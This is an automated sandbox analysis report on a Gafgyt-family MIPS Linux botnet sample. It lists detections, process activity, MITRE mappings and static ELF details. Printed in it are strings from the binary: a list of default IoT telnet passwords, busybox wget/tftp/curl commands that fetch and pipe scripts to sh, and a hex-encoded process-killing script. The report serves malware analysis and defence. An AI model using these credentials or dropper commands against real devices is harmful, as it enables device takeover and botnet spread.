Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name:la.bot.mips.elf
Analysis ID:1543059
MD5:55bd2367d53ec2bed56d22c31813aa67
SHA1:8652fa4bd76a547bd839df5acba5241750522731
SHA256:d764b7b17a322dd383811dc3b8ad59b458dfa52b55ac01906d2900eaca1410fc
Tags:elfuser-abuse_ch
Infos:

Detection

Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543059
Start date and time:2024-10-27 07:32:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 7s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.mips.elf
Detection:MAL
Classification:mal64.evad.linELF@0/0@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive
  • VT rate limit hit for: la.bot.mips.elf

Runtime Messages

Command:/tmp/la.bot.mips.elf
PID:5427
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elfAvira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mips.elfReversingLabs: Detection: 36%
Source: la.bot.mips.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mips.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.mips.elf (PID: 5427)Socket: 127.0.0.1:1234Jump to behavior
Source: la.bot.mips.elfString found in binary or memory: http:///curl.sh
Source: la.bot.mips.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/la.bot.mips.elf (PID: 5429)SIGKILL sent: pid: 936, result: successfulJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5521)SIGKILL sent: pid: 5519, result: successfulJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5571)SIGKILL sent: pid: 5569, result: successfulJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5595)SIGKILL sent: pid: 5593, result: successfulJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5622)SIGKILL sent: pid: 5620, result: successfulJump to behavior
Source: classification engineClassification label: mal64.evad.linELF@0/0@0/0

Data Obfuscation

barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mips.elf (PID: 5431)File: /etc/configJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /root/.cacheJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /root/.sshJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /root/.configJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /root/.localJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /tmp/.X11-unixJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /tmp/.Test-unixJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /tmp/.font-unixJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /tmp/.ICE-unixJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /tmp/.XIM-unixJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5431)Directory: /etc/.javaJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/230/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/110/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/231/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/111/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/232/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/112/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/233/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/113/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/234/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/114/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/235/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/115/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/236/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/116/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/237/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/117/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/238/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/118/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/239/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/119/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/914/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/10/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/917/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/11/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/12/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/13/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/14/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/15/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/16/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/17/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/18/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/19/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/240/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/120/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/241/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/121/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/242/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/1/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/122/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/243/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/2/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/123/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/244/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/3/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/124/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/245/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/125/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/4/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/246/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/126/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/5/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/247/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/127/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/6/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/248/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/128/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/7/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/249/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/129/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/8/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/800/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/9/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/802/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/803/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/20/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/21/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/22/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/23/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/24/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/25/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/26/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/27/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/28/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/29/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/490/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/250/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/371/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/130/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/251/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/131/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/252/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/132/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/253/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/254/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/134/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/255/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/256/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/257/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/378/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/258/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/259/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/936/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/30/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/816/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/35/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/260/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/261/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/262/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/142/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/263/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/264/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/265/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/145/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/266/fdJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5429)File opened: /proc/267/fdJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Deletes system log files
Source: /tmp/la.bot.mips.elf (PID: 5431)Log files deleted: /var/log/kern.logJump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5427)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 5427.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5519.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5521.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5569.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5571.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5593.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5595.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5620.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5622.1.0000564de3946000.0000564de39ed000.rw-.sdmpBinary or memory string: MV!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 5427.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5519.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5521.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5569.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5571.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5593.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5595.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5620.1.0000564de3946000.0000564de39ed000.rw-.sdmp, la.bot.mips.elf, 5622.1.0000564de3946000.0000564de39ed000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 5427.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5519.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5521.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5569.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5571.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5593.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5595.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5620.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5622.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 5427.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5519.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5521.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5569.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5571.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5593.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5595.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5620.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmp, la.bot.mips.elf, 5622.1.00007ffd411d2000.00007ffd411f3000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path Interception1
Hidden Files and Directories		1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Indicator Removal		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543059 Sample: la.bot.mips.elf Startdate: 27/10/2024 Architecture: LINUX Score: 64 35 Antivirus / Scanner detection for submitted sample 2->35 37 Multi AV Scanner detection for submitted file 2->37 8 la.bot.mips.elf 2->8         started        process3 process4 10 la.bot.mips.elf 8->10         started        13 la.bot.mips.elf 8->13         started        15 la.bot.mips.elf 8->15         started        signatures5 39 Sample tries to access files in /etc/config/ (typical for OpenWRT routers) 10->39 41 Deletes system log files 10->41 17 la.bot.mips.elf 13->17         started        19 la.bot.mips.elf 13->19         started        21 la.bot.mips.elf 13->21         started        23 3 other processes 13->23 process6 process7 25 la.bot.mips.elf 17->25         started        27 la.bot.mips.elf 19->27         started        29 la.bot.mips.elf 21->29         started        31 la.bot.mips.elf 23->31         started        33 la.bot.mips.elf 23->33         started       

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
la.bot.mips.elf37%ReversingLabsLinux.Backdoor.Gafgyt
la.bot.mips.elf100%AviraEXP/ELF.Agent.J.8

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.mips.elffalse
    		unknown
    http:///curl.shla.bot.mips.elffalse
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      ⊘No context

      Created / dropped Files

      ⊘No created / dropped files found

      Static File Info

      General

      File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
      Entropy (8bit):5.50758367893851
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.mips.elf
      File size:103'684 bytes
      MD5:55bd2367d53ec2bed56d22c31813aa67
      SHA1:8652fa4bd76a547bd839df5acba5241750522731
      SHA256:d764b7b17a322dd383811dc3b8ad59b458dfa52b55ac01906d2900eaca1410fc
      SHA512:8dd7da51bc14199c137731ff381e8b34fd63be8728c0516c9a6015ecffd85498117e8efeb15abbb286dbb4e8b0436dad937296f4d49325611b4ed2ba8d3f4314
      SSDEEP:1536:88CjE/L5cNXBn4e1XCdHX6874dK5Z0wfsNZAxzoEneuzCRKnzsTPw:Prc4e1Xm68VjBfiAznzzIKnIw
      TLSH:B3A3A60E2E558F6EF76DC73497B78F36975833D22AE1C681D15CE9001E6024EA41FBA8
      File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@...........................E...E........P.........dt.Q............................<...'..<...!'.......................<...'......!... ....'9... ......................<...'......!...$....'9i

      Static ELF Info

      ELF header

      Class:ELF32
      Data:2's complement, big endian
      Version:1 (current)
      Machine:MIPS R3000
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:UNIX - System V
      ABI Version:0
      Entry Point Address:0x400260
      Flags:0x1007
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:103164
      Section Header Size:40
      Number of Section Headers:13
      Header String Table Index:12

      Sections

      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x4000940x940x8c0x00x6AX004
      .textPROGBITS0x4001200x1200x169100x00x6AX0016
      .finiPROGBITS0x416a300x16a300x5c0x00x6AX004
      .rodataPROGBITS0x416a900x16a900x1a800x00x2A0016
      .ctorsPROGBITS0x4585140x185140x80x00x3WA004
      .dtorsPROGBITS0x45851c0x1851c0x80x00x3WA004
      .data.rel.roPROGBITS0x4585280x185280x4f80x00x3WA004
      .dataPROGBITS0x458a200x18a200x3c00x00x3WA0016
      .gotPROGBITS0x458de00x18de00x4c40x40x10000003WAp0016
      .sbssNOBITS0x4592a40x192a40x280x00x10000003WAp004
      .bssNOBITS0x4592d00x192a40x42f80x00x3WA0016
      .shstrtabSTRTAB0x00x192a40x560x00x0001

      Program Segments

      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x4000000x4000000x185100x185105.50010x5R E0x10000.init .text .fini .rodata
